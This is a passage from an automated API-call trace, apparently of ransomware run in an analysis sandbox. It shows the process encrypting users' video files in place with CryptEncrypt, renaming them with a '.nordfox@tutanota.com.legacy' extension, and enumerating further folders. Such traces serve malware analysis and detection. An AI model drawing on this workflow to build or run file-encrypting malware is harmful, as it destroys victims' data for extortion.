Flags=0x0, Size=0x70) returned 0x567940 [0118.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0118.558] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0118.558] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\Uckehz.avi" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\uckehz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0118.558] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=63879) returned 1 [0118.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf987) returned 0x60bbe8 [0118.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf987) returned 0x2e41f30 [0118.559] ReadFile (in: hFile=0x6cc, lpBuffer=0x60bbe8, nNumberOfBytesToRead=0xf987, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60bbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0xf987, lpOverlapped=0x0) returned 1 [0118.562] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=-63879, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.562] WriteFile (in: hFile=0x6cc, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0xf987, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf987, lpOverlapped=0x0) returned 1 [0118.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bbe8 | out: hHeap=0x520000) returned 1 [0118.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.564] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf987 [0118.564] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.564] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.579] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.579] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.579] CloseHandle (hObject=0x6cc) returned 1 [0118.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0118.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0118.580] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\Uckehz.avi" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\uckehz.avi"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\Uckehz.avi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\uckehz.avi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0118.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0118.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0118.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0118.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0118.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0118.597] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0118.597] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0118.597] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\3ryGZ7L.mp4", dwFileAttributes=0x80) returned 1 [0118.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0118.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0118.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0118.598] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\3ryGZ7L.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\3rygz7l.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0118.598] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=92398) returned 1 [0118.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x168ee) returned 0x2e41f30 [0118.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x168ee) returned 0x2e58828 [0118.599] ReadFile (in: hFile=0x6cc, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x168ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x168ee, lpOverlapped=0x0) returned 1 [0118.603] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=-92398, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.603] WriteFile (in: hFile=0x6cc, lpBuffer=0x2e58828*, nNumberOfBytesToWrite=0x168ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e58828*, lpNumberOfBytesWritten=0x2e1f9bc*=0x168ee, lpOverlapped=0x0) returned 1 [0118.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.603] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e58828 | out: hHeap=0x520000) returned 1 [0118.605] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x168ee [0118.605] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.605] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.606] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.606] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.607] CloseHandle (hObject=0x6cc) returned 1 [0118.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0118.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0118.607] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\3ryGZ7L.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\3rygz7l.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\3ryGZ7L.mp4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\3rygz7l.mp4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0118.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0118.609] FindFirstFileW (in: lpFileName="\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f9c5e0, ftCreationTime.dwHighDateTime=0x1d4cdcb, ftLastAccessTime.dwLowDateTime=0x1a5f4c0, ftLastAccessTime.dwHighDateTime=0x1d4cc6a, ftLastWriteTime.dwLowDateTime=0x1a5f4c0, ftLastWriteTime.dwHighDateTime=0x1d4cc6a, nFileSizeHigh=0x0, nFileSizeLow=0x14cb7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Z3zyHkdy44dT.swf", cAlternateFileName="Z3ZYHK~1.SWF")) returned 0xffffffff [0118.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0118.609] FindFirstFileW (in: lpFileName="\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f9c5e0, ftCreationTime.dwHighDateTime=0x1d4cdcb, ftLastAccessTime.dwLowDateTime=0x1a5f4c0, ftLastAccessTime.dwHighDateTime=0x1d4cc6a, ftLastWriteTime.dwLowDateTime=0x1a5f4c0, ftLastWriteTime.dwHighDateTime=0x1d4cc6a, nFileSizeHigh=0x0, nFileSizeLow=0x14cb7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Z3zyHkdy44dT.swf", cAlternateFileName="Z3ZYHK~1.SWF")) returned 0xffffffff [0118.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0118.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0118.610] FindFirstFileW (in: lpFileName="\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f9c5e0, ftCreationTime.dwHighDateTime=0x1d4cdcb, ftLastAccessTime.dwLowDateTime=0x1a5f4c0, ftLastAccessTime.dwHighDateTime=0x1d4cc6a, ftLastWriteTime.dwLowDateTime=0x1a5f4c0, ftLastWriteTime.dwHighDateTime=0x1d4cc6a, nFileSizeHigh=0x0, nFileSizeLow=0x14cb7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Z3zyHkdy44dT.swf", cAlternateFileName="Z3ZYHK~1.SWF")) returned 0xffffffff [0118.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0118.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0118.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0118.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.610] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd54be838, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x567018 [0118.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0118.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0118.645] GetLastError () returned 0x5 [0118.645] SetLastError (dwErrCode=0x5) [0118.645] GetLastError () returned 0x5 [0118.645] SetLastError (dwErrCode=0x5) [0118.645] GetLastError () returned 0x5 [0118.645] SetLastError (dwErrCode=0x5) [0118.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0118.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0118.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567098 [0118.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567098 | out: hHeap=0x520000) returned 1 [0118.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0118.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0118.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.645] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd54be838, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0118.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0118.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0118.647] GetLastError () returned 0x5 [0118.647] SetLastError (dwErrCode=0x5) [0118.647] GetLastError () returned 0x5 [0118.647] SetLastError (dwErrCode=0x5) [0118.647] GetLastError () returned 0x5 [0118.647] SetLastError (dwErrCode=0x5) [0118.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0118.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d710 [0118.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0118.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0118.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566c18 [0118.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c18 | out: hHeap=0x520000) returned 1 [0118.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0118.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0118.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0118.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.647] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c6124, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c6124, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1af6d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_ar-sa.htm", cAlternateFileName="EULA_A~1.HTM")) returned 1 [0118.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0118.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0118.648] GetLastError () returned 0x5 [0118.648] SetLastError (dwErrCode=0x5) [0118.648] GetLastError () returned 0x5 [0118.648] SetLastError (dwErrCode=0x5) [0118.648] GetLastError () returned 0x5 [0118.648] SetLastError (dwErrCode=0x5) [0118.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0118.648] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c74ab, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c74ab, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3de0d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_bg-bg.htm", cAlternateFileName="EULA_B~1.HTM")) returned 1 [0118.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0118.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0118.648] GetLastError () returned 0x5 [0118.648] SetLastError (dwErrCode=0x5) [0118.648] GetLastError () returned 0x5 [0118.648] SetLastError (dwErrCode=0x5) [0118.648] GetLastError () returned 0x5 [0118.648] SetLastError (dwErrCode=0x5) [0118.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0118.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0118.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5676e8 [0118.649] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c882e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c882e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14573, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_cs-cz.htm", cAlternateFileName="EULA_C~1.HTM")) returned 1 [0118.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0118.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0118.649] GetLastError () returned 0x5 [0118.649] SetLastError (dwErrCode=0x5) [0118.649] GetLastError () returned 0x5 [0118.649] SetLastError (dwErrCode=0x5) [0118.649] GetLastError () returned 0x5 [0118.649] SetLastError (dwErrCode=0x5) [0118.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0118.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0118.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0118.649] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3caf18, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3caf18, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfe95, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_da-dk.htm", cAlternateFileName="EULA_D~1.HTM")) returned 1 [0118.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0118.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0118.649] GetLastError () returned 0x5 [0118.649] SetLastError (dwErrCode=0x5) [0118.649] GetLastError () returned 0x5 [0118.649] SetLastError (dwErrCode=0x5) [0118.649] GetLastError () returned 0x5 [0118.650] SetLastError (dwErrCode=0x5) [0118.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0118.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0118.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0118.650] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d10e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d10e9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1133d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_de-de.htm", cAlternateFileName="EULA_D~2.HTM")) returned 1 [0118.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0118.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0118.650] GetLastError () returned 0x5 [0118.650] SetLastError (dwErrCode=0x5) [0118.650] GetLastError () returned 0x5 [0118.650] SetLastError (dwErrCode=0x5) [0118.650] GetLastError () returned 0x5 [0118.650] SetLastError (dwErrCode=0x5) [0118.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0118.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0118.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0118.650] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d2466, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d2466, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3a756, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_el-gr.htm", cAlternateFileName="EULA_E~1.HTM")) returned 1 [0118.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0118.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0118.650] GetLastError () returned 0x5 [0118.650] SetLastError (dwErrCode=0x5) [0118.650] GetLastError () returned 0x5 [0118.651] SetLastError (dwErrCode=0x5) [0118.651] GetLastError () returned 0x5 [0118.651] SetLastError (dwErrCode=0x5) [0118.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 